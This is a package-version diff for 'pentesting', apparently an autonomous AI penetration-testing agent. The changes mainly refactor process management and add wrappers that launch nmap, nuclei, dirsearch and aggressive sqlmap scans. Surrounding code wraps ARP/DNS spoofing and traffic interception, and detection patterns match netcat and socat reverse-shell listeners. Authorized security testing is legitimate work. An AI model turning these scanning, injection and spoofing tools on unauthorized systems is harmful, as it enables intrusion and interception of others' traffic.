pentesting 0.40.1 → 0.40.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/main.js +950 -129
- package/package.json +1 -1
package/dist/main.js
CHANGED
|
@@ -305,10 +305,8 @@ var ORPHAN_PROCESS_NAMES = [
|
|
|
305
305
|
];
|
|
306
306
|
|
|
307
307
|
// src/shared/constants/agent.ts
|
|
308
|
-
var ID_LENGTH = AGENT_LIMITS.ID_LENGTH;
|
|
309
|
-
var ID_RADIX = AGENT_LIMITS.ID_RADIX;
|
|
310
308
|
var APP_NAME = "Pentest AI";
|
|
311
|
-
var APP_VERSION = "0.40.
|
|
309
|
+
var APP_VERSION = "0.40.3";
|
|
312
310
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
313
311
|
var LLM_ROLES = {
|
|
314
312
|
SYSTEM: "system",
|
|
@@ -591,7 +589,7 @@ var DEFAULTS = {
|
|
|
591
589
|
|
|
592
590
|
// src/engine/process-manager.ts
|
|
593
591
|
import { spawn as spawn3, execSync as execSync2 } from "child_process";
|
|
594
|
-
import { readFileSync as readFileSync2, existsSync as existsSync3, unlinkSync, writeFileSync as writeFileSync3, appendFileSync as appendFileSync2 } from "fs";
|
|
592
|
+
import { readFileSync as readFileSync2, existsSync as existsSync3, unlinkSync as unlinkSync2, writeFileSync as writeFileSync3, appendFileSync as appendFileSync2 } from "fs";
|
|
595
593
|
|
|
596
594
|
// src/engine/tools-base.ts
|
|
597
595
|
import { spawn as spawn2 } from "child_process";
|
|
@@ -1520,58 +1518,8 @@ function createTempFile(suffix = "") {
|
|
|
1520
1518
|
return join2(tmpdir(), generateTempFilename(suffix));
|
|
1521
1519
|
}
|
|
1522
1520
|
|
|
1523
|
-
// src/engine/process-
|
|
1524
|
-
|
|
1525
|
-
const tags = [];
|
|
1526
|
-
let port;
|
|
1527
|
-
let role = PROCESS_ROLES.BACKGROUND;
|
|
1528
|
-
let isInteractive = false;
|
|
1529
|
-
const cmd = command.toLowerCase();
|
|
1530
|
-
if (cmd.includes("-lvnp") || cmd.includes("-nlvp") || cmd.includes("-lp") || cmd.includes("nc") && cmd.includes("listen")) {
|
|
1531
|
-
tags.push(PROCESS_ROLES.LISTENER);
|
|
1532
|
-
role = PROCESS_ROLES.LISTENER;
|
|
1533
|
-
isInteractive = true;
|
|
1534
|
-
const portMatch = command.match(DETECTION_PATTERNS.LISTENER);
|
|
1535
|
-
if (portMatch) port = parseInt(portMatch[1], 10);
|
|
1536
|
-
}
|
|
1537
|
-
if (cmd.includes("http.server") || cmd.includes("simplehttpserver") || cmd.includes("httpd") || cmd.includes("php -s")) {
|
|
1538
|
-
tags.push(PROCESS_ROLES.SERVER);
|
|
1539
|
-
role = PROCESS_ROLES.SERVER;
|
|
1540
|
-
const portMatch = command.match(DETECTION_PATTERNS.HTTP_SERVER);
|
|
1541
|
-
if (portMatch) port = parseInt(portMatch[1], 10);
|
|
1542
|
-
if (!port) {
|
|
1543
|
-
const genericPort = command.match(DETECTION_PATTERNS.GENERIC_PORT);
|
|
1544
|
-
if (genericPort) port = parseInt(genericPort[1], 10);
|
|
1545
|
-
else if (cmd.includes("http.server")) port = SYSTEM_LIMITS.WEB_PORT_RANGE.MIN;
|
|
1546
|
-
}
|
|
1547
|
-
}
|
|
1548
|
-
if (cmd.includes("tcpdump") || cmd.includes("tshark")) {
|
|
1549
|
-
tags.push(PROCESS_ROLES.SNIFFER);
|
|
1550
|
-
role = PROCESS_ROLES.SNIFFER;
|
|
1551
|
-
}
|
|
1552
|
-
if (cmd.includes("arpspoof") || cmd.includes("dnsspoof") || cmd.includes("ettercap")) {
|
|
1553
|
-
tags.push(PROCESS_ROLES.SPOOFER);
|
|
1554
|
-
role = PROCESS_ROLES.SPOOFER;
|
|
1555
|
-
}
|
|
1556
|
-
if (cmd.includes("mitm") || cmd.includes("proxy") || cmd.includes("intercept")) {
|
|
1557
|
-
tags.push(PROCESS_ROLES.PROXY);
|
|
1558
|
-
role = PROCESS_ROLES.PROXY;
|
|
1559
|
-
}
|
|
1560
|
-
if (cmd.includes("callback") || cmd.includes("oob")) {
|
|
1561
|
-
tags.push(PROCESS_ROLES.CALLBACK);
|
|
1562
|
-
role = PROCESS_ROLES.CALLBACK;
|
|
1563
|
-
}
|
|
1564
|
-
if (cmd.includes("socat") && cmd.includes("listen")) {
|
|
1565
|
-
tags.push(PROCESS_ROLES.LISTENER);
|
|
1566
|
-
role = PROCESS_ROLES.LISTENER;
|
|
1567
|
-
isInteractive = true;
|
|
1568
|
-
}
|
|
1569
|
-
if (tags.length === 0) tags.push(PROCESS_ROLES.BACKGROUND);
|
|
1570
|
-
return { tags, port, role, isInteractive };
|
|
1571
|
-
}
|
|
1572
|
-
function detectConnection(stdout) {
|
|
1573
|
-
return DETECTION_PATTERNS.CONNECTION.some((p) => p.test(stdout));
|
|
1574
|
-
}
|
|
1521
|
+
// src/engine/process-cleanup.ts
|
|
1522
|
+
import { unlinkSync } from "fs";
|
|
1575
1523
|
|
|
1576
1524
|
// src/engine/process-tree.ts
|
|
1577
1525
|
import { execSync } from "child_process";
|
|
@@ -1657,9 +1605,99 @@ function killProcessTreeSync(pid, childPids) {
|
|
|
1657
1605
|
}
|
|
1658
1606
|
}
|
|
1659
1607
|
|
|
1608
|
+
// src/engine/process-cleanup.ts
|
|
1609
|
+
function syncCleanupAllProcesses(processMap) {
|
|
1610
|
+
for (const [, proc] of processMap) {
|
|
1611
|
+
if (!proc.hasExited) {
|
|
1612
|
+
killProcessTreeSync(proc.pid, proc.childPids);
|
|
1613
|
+
}
|
|
1614
|
+
try {
|
|
1615
|
+
unlinkSync(proc.stdoutFile);
|
|
1616
|
+
} catch {
|
|
1617
|
+
}
|
|
1618
|
+
try {
|
|
1619
|
+
unlinkSync(proc.stderrFile);
|
|
1620
|
+
} catch {
|
|
1621
|
+
}
|
|
1622
|
+
try {
|
|
1623
|
+
unlinkSync(proc.stdinFile);
|
|
1624
|
+
} catch {
|
|
1625
|
+
}
|
|
1626
|
+
}
|
|
1627
|
+
}
|
|
1628
|
+
function registerExitHandlers(processMap) {
|
|
1629
|
+
process.on("exit", () => {
|
|
1630
|
+
syncCleanupAllProcesses(processMap);
|
|
1631
|
+
});
|
|
1632
|
+
process.on("SIGINT", () => {
|
|
1633
|
+
syncCleanupAllProcesses(processMap);
|
|
1634
|
+
processMap.clear();
|
|
1635
|
+
process.exit(EXIT_CODES.SIGINT);
|
|
1636
|
+
});
|
|
1637
|
+
process.on("SIGTERM", () => {
|
|
1638
|
+
syncCleanupAllProcesses(processMap);
|
|
1639
|
+
processMap.clear();
|
|
1640
|
+
process.exit(EXIT_CODES.SIGTERM);
|
|
1641
|
+
});
|
|
1642
|
+
}
|
|
1643
|
+
|
|
1644
|
+
// src/engine/process-detector.ts
|
|
1645
|
+
function detectProcessRole(command) {
|
|
1646
|
+
const tags = [];
|
|
1647
|
+
let port;
|
|
1648
|
+
let role = PROCESS_ROLES.BACKGROUND;
|
|
1649
|
+
let isInteractive = false;
|
|
1650
|
+
const cmd = command.toLowerCase();
|
|
1651
|
+
if (cmd.includes("-lvnp") || cmd.includes("-nlvp") || cmd.includes("-lp") || cmd.includes("nc") && cmd.includes("listen")) {
|
|
1652
|
+
tags.push(PROCESS_ROLES.LISTENER);
|
|
1653
|
+
role = PROCESS_ROLES.LISTENER;
|
|
1654
|
+
isInteractive = true;
|
|
1655
|
+
const portMatch = command.match(DETECTION_PATTERNS.LISTENER);
|
|
1656
|
+
if (portMatch) port = parseInt(portMatch[1], 10);
|
|
1657
|
+
}
|
|
1658
|
+
if (cmd.includes("http.server") || cmd.includes("simplehttpserver") || cmd.includes("httpd") || cmd.includes("php -s")) {
|
|
1659
|
+
tags.push(PROCESS_ROLES.SERVER);
|
|
1660
|
+
role = PROCESS_ROLES.SERVER;
|
|
1661
|
+
const portMatch = command.match(DETECTION_PATTERNS.HTTP_SERVER);
|
|
1662
|
+
if (portMatch) port = parseInt(portMatch[1], 10);
|
|
1663
|
+
if (!port) {
|
|
1664
|
+
const genericPort = command.match(DETECTION_PATTERNS.GENERIC_PORT);
|
|
1665
|
+
if (genericPort) port = parseInt(genericPort[1], 10);
|
|
1666
|
+
else if (cmd.includes("http.server")) port = SYSTEM_LIMITS.WEB_PORT_RANGE.MIN;
|
|
1667
|
+
}
|
|
1668
|
+
}
|
|
1669
|
+
if (cmd.includes("tcpdump") || cmd.includes("tshark")) {
|
|
1670
|
+
tags.push(PROCESS_ROLES.SNIFFER);
|
|
1671
|
+
role = PROCESS_ROLES.SNIFFER;
|
|
1672
|
+
}
|
|
1673
|
+
if (cmd.includes("arpspoof") || cmd.includes("dnsspoof") || cmd.includes("ettercap")) {
|
|
1674
|
+
tags.push(PROCESS_ROLES.SPOOFER);
|
|
1675
|
+
role = PROCESS_ROLES.SPOOFER;
|
|
1676
|
+
}
|
|
1677
|
+
if (cmd.includes("mitm") || cmd.includes("proxy") || cmd.includes("intercept")) {
|
|
1678
|
+
tags.push(PROCESS_ROLES.PROXY);
|
|
1679
|
+
role = PROCESS_ROLES.PROXY;
|
|
1680
|
+
}
|
|
1681
|
+
if (cmd.includes("callback") || cmd.includes("oob")) {
|
|
1682
|
+
tags.push(PROCESS_ROLES.CALLBACK);
|
|
1683
|
+
role = PROCESS_ROLES.CALLBACK;
|
|
1684
|
+
}
|
|
1685
|
+
if (cmd.includes("socat") && cmd.includes("listen")) {
|
|
1686
|
+
tags.push(PROCESS_ROLES.LISTENER);
|
|
1687
|
+
role = PROCESS_ROLES.LISTENER;
|
|
1688
|
+
isInteractive = true;
|
|
1689
|
+
}
|
|
1690
|
+
if (tags.length === 0) tags.push(PROCESS_ROLES.BACKGROUND);
|
|
1691
|
+
return { tags, port, role, isInteractive };
|
|
1692
|
+
}
|
|
1693
|
+
function detectConnection(stdout) {
|
|
1694
|
+
return DETECTION_PATTERNS.CONNECTION.some((p) => p.test(stdout));
|
|
1695
|
+
}
|
|
1696
|
+
|
|
1660
1697
|
// src/engine/process-manager.ts
|
|
1661
1698
|
var backgroundProcesses = /* @__PURE__ */ new Map();
|
|
1662
1699
|
var cleanupDone = false;
|
|
1700
|
+
registerExitHandlers(backgroundProcesses);
|
|
1663
1701
|
var processEventLog = [];
|
|
1664
1702
|
function logEvent(processId, event, detail) {
|
|
1665
1703
|
processEventLog.push({ timestamp: Date.now(), processId, event, detail });
|
|
@@ -1833,15 +1871,15 @@ async function stopBackgroundProcess(processId) {
|
|
|
1833
1871
|
await killProcessTree(proc.pid, proc.childPids);
|
|
1834
1872
|
}
|
|
1835
1873
|
try {
|
|
1836
|
-
|
|
1874
|
+
unlinkSync2(proc.stdoutFile);
|
|
1837
1875
|
} catch {
|
|
1838
1876
|
}
|
|
1839
1877
|
try {
|
|
1840
|
-
|
|
1878
|
+
unlinkSync2(proc.stderrFile);
|
|
1841
1879
|
} catch {
|
|
1842
1880
|
}
|
|
1843
1881
|
try {
|
|
1844
|
-
|
|
1882
|
+
unlinkSync2(proc.stdinFile);
|
|
1845
1883
|
} catch {
|
|
1846
1884
|
}
|
|
1847
1885
|
logEvent(processId, PROCESS_EVENTS.STOPPED, `Stopped ${proc.role} (PID:${proc.pid}, children:${proc.childPids.length})`);
|
|
@@ -1939,15 +1977,15 @@ async function cleanupAllProcesses() {
|
|
|
1939
1977
|
}
|
|
1940
1978
|
for (const [, proc] of backgroundProcesses) {
|
|
1941
1979
|
try {
|
|
1942
|
-
|
|
1980
|
+
unlinkSync2(proc.stdoutFile);
|
|
1943
1981
|
} catch {
|
|
1944
1982
|
}
|
|
1945
1983
|
try {
|
|
1946
|
-
|
|
1984
|
+
unlinkSync2(proc.stderrFile);
|
|
1947
1985
|
} catch {
|
|
1948
1986
|
}
|
|
1949
1987
|
try {
|
|
1950
|
-
|
|
1988
|
+
unlinkSync2(proc.stdinFile);
|
|
1951
1989
|
} catch {
|
|
1952
1990
|
}
|
|
1953
1991
|
}
|
|
@@ -2033,39 +2071,6 @@ Ports In Use: ${ports.join(", ")}`);
|
|
|
2033
2071
|
}
|
|
2034
2072
|
return lines.join("\n");
|
|
2035
2073
|
}
|
|
2036
|
-
function syncCleanupAllProcesses() {
|
|
2037
|
-
for (const [, proc] of backgroundProcesses) {
|
|
2038
|
-
if (!proc.hasExited) {
|
|
2039
|
-
killProcessTreeSync(proc.pid, proc.childPids);
|
|
2040
|
-
}
|
|
2041
|
-
try {
|
|
2042
|
-
unlinkSync(proc.stdoutFile);
|
|
2043
|
-
} catch {
|
|
2044
|
-
}
|
|
2045
|
-
try {
|
|
2046
|
-
unlinkSync(proc.stderrFile);
|
|
2047
|
-
} catch {
|
|
2048
|
-
}
|
|
2049
|
-
try {
|
|
2050
|
-
unlinkSync(proc.stdinFile);
|
|
2051
|
-
} catch {
|
|
2052
|
-
}
|
|
2053
|
-
}
|
|
2054
|
-
}
|
|
2055
|
-
process.on("exit", () => {
|
|
2056
|
-
syncCleanupAllProcesses();
|
|
2057
|
-
});
|
|
2058
|
-
process.on("SIGINT", () => {
|
|
2059
|
-
syncCleanupAllProcesses();
|
|
2060
|
-
backgroundProcesses.clear();
|
|
2061
|
-
process.exit(EXIT_CODES.SIGINT);
|
|
2062
|
-
});
|
|
2063
|
-
process.on("SIGTERM", () => {
|
|
2064
|
-
syncCleanupAllProcesses();
|
|
2065
|
-
backgroundProcesses.clear();
|
|
2066
|
-
process.exit(EXIT_CODES.SIGTERM);
|
|
2067
|
-
});
|
|
2068
|
-
var stopProcess = stopBackgroundProcess;
|
|
2069
2074
|
|
|
2070
2075
|
// src/engine/state-serializer.ts
|
|
2071
2076
|
var StateSerializer = class {
|
|
@@ -2134,7 +2139,7 @@ var StateSerializer = class {
|
|
|
2134
2139
|
if (todo.length > 0) {
|
|
2135
2140
|
lines.push(`TODO (${todo.length}):`);
|
|
2136
2141
|
for (const t of todo.slice(0, DISPLAY_LIMITS.COMPACT_LIST_ITEMS)) {
|
|
2137
|
-
const status = t.status ===
|
|
2142
|
+
const status = t.status === TODO_STATUSES.DONE ? "[x]" : t.status === TODO_STATUSES.IN_PROGRESS ? "[->]" : "[ ]";
|
|
2138
2143
|
lines.push(` ${status} ${t.content} (${t.priority})`);
|
|
2139
2144
|
}
|
|
2140
2145
|
}
|
|
@@ -2598,6 +2603,13 @@ var PersistentMemory = class {
|
|
|
2598
2603
|
getSuccessfulTechniques(service) {
|
|
2599
2604
|
return this.knowledge.successfulTechniques.filter((t) => t.service.toLowerCase().includes(service.toLowerCase())).sort((a, b) => b.successCount - a.successCount);
|
|
2600
2605
|
}
|
|
2606
|
+
/**
|
|
2607
|
+
* Clear all knowledge (for testing isolation).
|
|
2608
|
+
*/
|
|
2609
|
+
clear() {
|
|
2610
|
+
this.knowledge = { successfulTechniques: [], failurePatterns: [], techFacts: [] };
|
|
2611
|
+
this.save();
|
|
2612
|
+
}
|
|
2601
2613
|
/**
|
|
2602
2614
|
* Format for prompt injection (most relevant persistent knowledge).
|
|
2603
2615
|
*/
|
|
@@ -2852,7 +2864,7 @@ var SharedState = class {
|
|
|
2852
2864
|
}
|
|
2853
2865
|
addMissionChecklistItems(items) {
|
|
2854
2866
|
for (const text of items) {
|
|
2855
|
-
const id = generateId(ID_RADIX, ID_LENGTH);
|
|
2867
|
+
const id = generateId(AGENT_LIMITS.ID_RADIX, AGENT_LIMITS.ID_LENGTH);
|
|
2856
2868
|
this.data.missionChecklist.push({ id, text, isCompleted: false });
|
|
2857
2869
|
}
|
|
2858
2870
|
}
|
|
@@ -2872,7 +2884,7 @@ var SharedState = class {
|
|
|
2872
2884
|
this.data.engagement.scope = scope;
|
|
2873
2885
|
} else {
|
|
2874
2886
|
this.data.engagement = {
|
|
2875
|
-
id: generateId(ID_RADIX, ID_LENGTH),
|
|
2887
|
+
id: generateId(AGENT_LIMITS.ID_RADIX, AGENT_LIMITS.ID_LENGTH),
|
|
2876
2888
|
name: DEFAULTS.ENGAGEMENT_NAME,
|
|
2877
2889
|
client: DEFAULTS.ENGAGEMENT_CLIENT,
|
|
2878
2890
|
scope,
|
|
@@ -2932,7 +2944,7 @@ var SharedState = class {
|
|
|
2932
2944
|
}
|
|
2933
2945
|
// --- TODO Management ---
|
|
2934
2946
|
addTodo(content, priority = PRIORITIES.MEDIUM) {
|
|
2935
|
-
const id = generateId(ID_RADIX, ID_LENGTH);
|
|
2947
|
+
const id = generateId(AGENT_LIMITS.ID_RADIX, AGENT_LIMITS.ID_LENGTH);
|
|
2936
2948
|
const item = { id, content, status: TODO_STATUSES.PENDING, priority };
|
|
2937
2949
|
this.data.todo.push(item);
|
|
2938
2950
|
return id;
|
|
@@ -2950,7 +2962,7 @@ var SharedState = class {
|
|
|
2950
2962
|
// --- Logs & Phase ---
|
|
2951
2963
|
logAction(action) {
|
|
2952
2964
|
this.data.actionLog.push({
|
|
2953
|
-
id: generateId(ID_RADIX, ID_LENGTH),
|
|
2965
|
+
id: generateId(AGENT_LIMITS.ID_RADIX, AGENT_LIMITS.ID_LENGTH),
|
|
2954
2966
|
timestamp: Date.now(),
|
|
2955
2967
|
...action
|
|
2956
2968
|
});
|
|
@@ -4130,7 +4142,7 @@ Next steps:
|
|
|
4130
4142
|
}
|
|
4131
4143
|
case "stop": {
|
|
4132
4144
|
if (!processId) return { success: false, output: "", error: "Missing process_id" };
|
|
4133
|
-
return
|
|
4145
|
+
return stopBackgroundProcess(processId);
|
|
4134
4146
|
}
|
|
4135
4147
|
case "stop_all": {
|
|
4136
4148
|
const procs = listBackgroundProcesses();
|
|
@@ -4464,7 +4476,7 @@ Detail: ${detail}
|
|
|
4464
4476
|
const affected = p.affected || [];
|
|
4465
4477
|
const validation = validateFinding(evidence, severity);
|
|
4466
4478
|
state.addFinding({
|
|
4467
|
-
id: generateId(ID_RADIX, ID_LENGTH),
|
|
4479
|
+
id: generateId(AGENT_LIMITS.ID_RADIX, AGENT_LIMITS.ID_LENGTH),
|
|
4468
4480
|
title,
|
|
4469
4481
|
severity,
|
|
4470
4482
|
affected,
|
|
@@ -4659,7 +4671,7 @@ async function installPlaywright() {
|
|
|
4659
4671
|
|
|
4660
4672
|
// src/engine/tools/web-browser-script.ts
|
|
4661
4673
|
import { spawn as spawn5 } from "child_process";
|
|
4662
|
-
import { writeFileSync as writeFileSync5, unlinkSync as
|
|
4674
|
+
import { writeFileSync as writeFileSync5, unlinkSync as unlinkSync3 } from "fs";
|
|
4663
4675
|
import { join as join5 } from "path";
|
|
4664
4676
|
import { tmpdir as tmpdir2 } from "os";
|
|
4665
4677
|
function safeJsString(str) {
|
|
@@ -4695,7 +4707,7 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
|
4695
4707
|
child.stderr.on("data", (data) => stderr += data);
|
|
4696
4708
|
child.on("close", (code) => {
|
|
4697
4709
|
try {
|
|
4698
|
-
|
|
4710
|
+
unlinkSync3(scriptPath);
|
|
4699
4711
|
} catch {
|
|
4700
4712
|
}
|
|
4701
4713
|
if (code !== 0) {
|
|
@@ -4722,7 +4734,7 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
|
4722
4734
|
});
|
|
4723
4735
|
child.on("error", (err) => {
|
|
4724
4736
|
try {
|
|
4725
|
-
|
|
4737
|
+
unlinkSync3(scriptPath);
|
|
4726
4738
|
} catch {
|
|
4727
4739
|
}
|
|
4728
4740
|
resolve({
|
|
@@ -6469,7 +6481,7 @@ Combine with packet_sniff to capture intercepted traffic.`,
|
|
|
6469
6481
|
});
|
|
6470
6482
|
await new Promise((r) => setTimeout(r, (duration + NETWORK_CONFIG.WAIT_BUFFER_SECONDS) * 1e3));
|
|
6471
6483
|
const output = getProcessOutput(proc.id);
|
|
6472
|
-
await
|
|
6484
|
+
await stopBackgroundProcess(proc.id);
|
|
6473
6485
|
await runCommand(NETWORK_COMMANDS.IP_FORWARD_DISABLE);
|
|
6474
6486
|
return {
|
|
6475
6487
|
success: true,
|
|
@@ -6523,7 +6535,7 @@ Requires root/sudo privileges.`,
|
|
|
6523
6535
|
});
|
|
6524
6536
|
await new Promise((r) => setTimeout(r, (duration + NETWORK_CONFIG.WAIT_BUFFER_SECONDS) * 1e3));
|
|
6525
6537
|
const captureOutput = getProcessOutput(proc.id);
|
|
6526
|
-
await
|
|
6538
|
+
await stopBackgroundProcess(proc.id);
|
|
6527
6539
|
let output = `Packet Capture Results:
|
|
6528
6540
|
Interface: ${iface}
|
|
6529
6541
|
Filter: ${filter || "none"}
|
|
@@ -6610,7 +6622,7 @@ ${spoofIp} *.${domain}
|
|
|
6610
6622
|
});
|
|
6611
6623
|
await new Promise((r) => setTimeout(r, (duration + NETWORK_CONFIG.WAIT_BUFFER_SECONDS) * 1e3));
|
|
6612
6624
|
const output = getProcessOutput(proc.id);
|
|
6613
|
-
await
|
|
6625
|
+
await stopBackgroundProcess(proc.id);
|
|
6614
6626
|
return {
|
|
6615
6627
|
success: true,
|
|
6616
6628
|
output: `DNS Spoofing Results:
|
|
@@ -6662,7 +6674,7 @@ Combine with arp_spoof for transparent proxying.`,
|
|
|
6662
6674
|
});
|
|
6663
6675
|
await new Promise((r) => setTimeout(r, (duration + NETWORK_CONFIG.WAIT_BUFFER_SECONDS) * 1e3));
|
|
6664
6676
|
const procOutput = getProcessOutput(proc.id);
|
|
6665
|
-
await
|
|
6677
|
+
await stopBackgroundProcess(proc.id);
|
|
6666
6678
|
let flowSummary = "";
|
|
6667
6679
|
const readFlows = await runCommand(`mitmdump -r ${outputFile} -n 2>&1 | head -50`);
|
|
6668
6680
|
if (readFlows.success && readFlows.output) {
|
|
@@ -6731,7 +6743,7 @@ This is a high-level tool that combines tcpdump capture with protocol analysis.`
|
|
|
6731
6743
|
description: `Traffic intercept on ${target}`
|
|
6732
6744
|
});
|
|
6733
6745
|
await new Promise((r) => setTimeout(r, (duration + NETWORK_CONFIG.WAIT_BUFFER_SECONDS) * 1e3));
|
|
6734
|
-
await
|
|
6746
|
+
await stopBackgroundProcess(proc.id);
|
|
6735
6747
|
let output = `Traffic Interception Report
|
|
6736
6748
|
${"=".repeat(50)}
|
|
6737
6749
|
Target: ${target}
|
|
@@ -7063,7 +7075,7 @@ If killOrphans is true, also cleans up child processes whose parent has died.`,
|
|
|
7063
7075
|
async execute(params) {
|
|
7064
7076
|
const results = [];
|
|
7065
7077
|
if (params.processId) {
|
|
7066
|
-
const procResult = await
|
|
7078
|
+
const procResult = await stopBackgroundProcess(params.processId);
|
|
7067
7079
|
results.push(`Stopped ${params.processId}: ${procResult.success ? "success" : "failed"}`);
|
|
7068
7080
|
if (procResult.output) {
|
|
7069
7081
|
results.push(procResult.output.slice(0, PROCESS_OUTPUT_TRUNCATION_LIMIT));
|
|
@@ -7116,6 +7128,548 @@ Returns recommendations on process status, port conflicts, long-running tasks, e
|
|
|
7116
7128
|
}
|
|
7117
7129
|
];
|
|
7118
7130
|
|
|
7131
|
+
// src/domains/network/tools.ts
|
|
7132
|
+
var NETWORK_TOOLS = [
|
|
7133
|
+
{
|
|
7134
|
+
name: TOOL_NAMES.NMAP_QUICK,
|
|
7135
|
+
description: "Quick nmap scan - fast discovery",
|
|
7136
|
+
parameters: {
|
|
7137
|
+
target: { type: "string", description: "Target IP/CIDR" }
|
|
7138
|
+
},
|
|
7139
|
+
required: ["target"],
|
|
7140
|
+
execute: async (params) => {
|
|
7141
|
+
const target = params.target;
|
|
7142
|
+
return await runCommand("nmap", ["-Pn", "-T4", "-F", target]);
|
|
7143
|
+
}
|
|
7144
|
+
},
|
|
7145
|
+
{
|
|
7146
|
+
name: TOOL_NAMES.NMAP_FULL,
|
|
7147
|
+
description: "Full nmap scan - comprehensive",
|
|
7148
|
+
parameters: {
|
|
7149
|
+
target: { type: "string", description: "Target IP/CIDR" }
|
|
7150
|
+
},
|
|
7151
|
+
required: ["target"],
|
|
7152
|
+
execute: async (params) => {
|
|
7153
|
+
const target = params.target;
|
|
7154
|
+
return await runCommand("nmap", ["-Pn", "-T4", "-sV", "-O", "-p-", target]);
|
|
7155
|
+
}
|
|
7156
|
+
},
|
|
7157
|
+
{
|
|
7158
|
+
name: TOOL_NAMES.RUSTSCAN,
|
|
7159
|
+
description: "RustScan - very fast port discovery",
|
|
7160
|
+
parameters: {
|
|
7161
|
+
target: { type: "string", description: "Target IP" }
|
|
7162
|
+
},
|
|
7163
|
+
required: ["target"],
|
|
7164
|
+
execute: async (params) => {
|
|
7165
|
+
const target = params.target;
|
|
7166
|
+
return await runCommand("rustscan", ["-a", target, "--range", "1-65535"]);
|
|
7167
|
+
}
|
|
7168
|
+
}
|
|
7169
|
+
];
|
|
7170
|
+
var NETWORK_CONFIG2 = {
|
|
7171
|
+
name: SERVICE_CATEGORIES.NETWORK,
|
|
7172
|
+
description: "Network reconnaissance - scanning, OS fingerprinting",
|
|
7173
|
+
tools: NETWORK_TOOLS,
|
|
7174
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7175
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7176
|
+
commonPorts: [21, 22, 80, 443, 445, 3389, 8080],
|
|
7177
|
+
commonServices: [SERVICES.FTP, SERVICES.SSH, SERVICES.HTTP, SERVICES.HTTPS, SERVICES.SMB]
|
|
7178
|
+
};
|
|
7179
|
+
|
|
7180
|
+
// src/domains/web/tools.ts
|
|
7181
|
+
var WEB_TOOLS = [
|
|
7182
|
+
{
|
|
7183
|
+
name: TOOL_NAMES.HTTP_FINGERPRINT,
|
|
7184
|
+
description: "HTTP fingerprinting - detect WAF, server type",
|
|
7185
|
+
parameters: {
|
|
7186
|
+
target: { type: "string", description: "Target URL" }
|
|
7187
|
+
},
|
|
7188
|
+
required: ["target"],
|
|
7189
|
+
execute: async (params) => {
|
|
7190
|
+
const target = params.target;
|
|
7191
|
+
return await runCommand("curl", ["-sI", target]);
|
|
7192
|
+
}
|
|
7193
|
+
},
|
|
7194
|
+
{
|
|
7195
|
+
name: TOOL_NAMES.WAF_DETECT,
|
|
7196
|
+
description: "WAF detection using wafw00f",
|
|
7197
|
+
parameters: {
|
|
7198
|
+
target: { type: "string", description: "Target URL" }
|
|
7199
|
+
},
|
|
7200
|
+
required: ["target"],
|
|
7201
|
+
execute: async (params) => {
|
|
7202
|
+
const target = params.target;
|
|
7203
|
+
return await runCommand("wafw00f", [target]);
|
|
7204
|
+
}
|
|
7205
|
+
},
|
|
7206
|
+
{
|
|
7207
|
+
name: TOOL_NAMES.DIRSEARCH,
|
|
7208
|
+
description: "Directory bruteforcing",
|
|
7209
|
+
parameters: {
|
|
7210
|
+
target: { type: "string", description: "Target URL" }
|
|
7211
|
+
},
|
|
7212
|
+
required: ["target"],
|
|
7213
|
+
execute: async (params) => {
|
|
7214
|
+
const target = params.target;
|
|
7215
|
+
return await runCommand("dirsearch", ["-u", target, "--quiet"]);
|
|
7216
|
+
}
|
|
7217
|
+
},
|
|
7218
|
+
{
|
|
7219
|
+
name: TOOL_NAMES.NUCLEI_WEB,
|
|
7220
|
+
description: "Nuclei web vulnerability scanner",
|
|
7221
|
+
parameters: {
|
|
7222
|
+
target: { type: "string", description: "Target URL" },
|
|
7223
|
+
severity: { type: "string", description: "Severities to check" }
|
|
7224
|
+
},
|
|
7225
|
+
required: ["target"],
|
|
7226
|
+
execute: async (params) => {
|
|
7227
|
+
const target = params.target;
|
|
7228
|
+
const severity = params.severity || "medium,critical,high";
|
|
7229
|
+
return await runCommand("nuclei", ["-u", target, "-s", severity, "-silent"]);
|
|
7230
|
+
}
|
|
7231
|
+
}
|
|
7232
|
+
];
|
|
7233
|
+
var WEB_CONFIG = {
|
|
7234
|
+
name: SERVICE_CATEGORIES.WEB,
|
|
7235
|
+
description: "Web application testing - HTTP/HTTPS, APIs",
|
|
7236
|
+
tools: WEB_TOOLS,
|
|
7237
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7238
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7239
|
+
commonPorts: [80, 443, 8080],
|
|
7240
|
+
commonServices: [SERVICES.HTTP, SERVICES.HTTPS]
|
|
7241
|
+
};
|
|
7242
|
+
|
|
7243
|
+
// src/domains/database/tools.ts
|
|
7244
|
+
var DATABASE_TOOLS = [
|
|
7245
|
+
{
|
|
7246
|
+
name: TOOL_NAMES.SQLMAP_BASIC,
|
|
7247
|
+
description: "SQL injection testing with sqlmap - basic scan",
|
|
7248
|
+
parameters: {
|
|
7249
|
+
target: { type: "string", description: "Target URL" }
|
|
7250
|
+
},
|
|
7251
|
+
required: ["target"],
|
|
7252
|
+
execute: async (params) => {
|
|
7253
|
+
const target = params.target;
|
|
7254
|
+
return await runCommand("sqlmap", ["-u", target, "--batch", "--risk=1", "--level=1"]);
|
|
7255
|
+
}
|
|
7256
|
+
},
|
|
7257
|
+
{
|
|
7258
|
+
name: TOOL_NAMES.SQLMAP_ADVANCED,
|
|
7259
|
+
description: "SQL injection with sqlmap - full enumeration",
|
|
7260
|
+
parameters: {
|
|
7261
|
+
target: { type: "string", description: "Target URL" }
|
|
7262
|
+
},
|
|
7263
|
+
required: ["target"],
|
|
7264
|
+
execute: async (params) => {
|
|
7265
|
+
const target = params.target;
|
|
7266
|
+
return await runCommand("sqlmap", ["-u", target, "--batch", "--risk=3", "--level=5", "--dbs", "--tables"]);
|
|
7267
|
+
}
|
|
7268
|
+
},
|
|
7269
|
+
{
|
|
7270
|
+
name: TOOL_NAMES.MYSQL_ENUM,
|
|
7271
|
+
description: "MySQL enumeration - version, users, databases",
|
|
7272
|
+
parameters: {
|
|
7273
|
+
target: { type: "string", description: "Target IP/hostname" },
|
|
7274
|
+
port: { type: "string", description: "Port (default 3306)" }
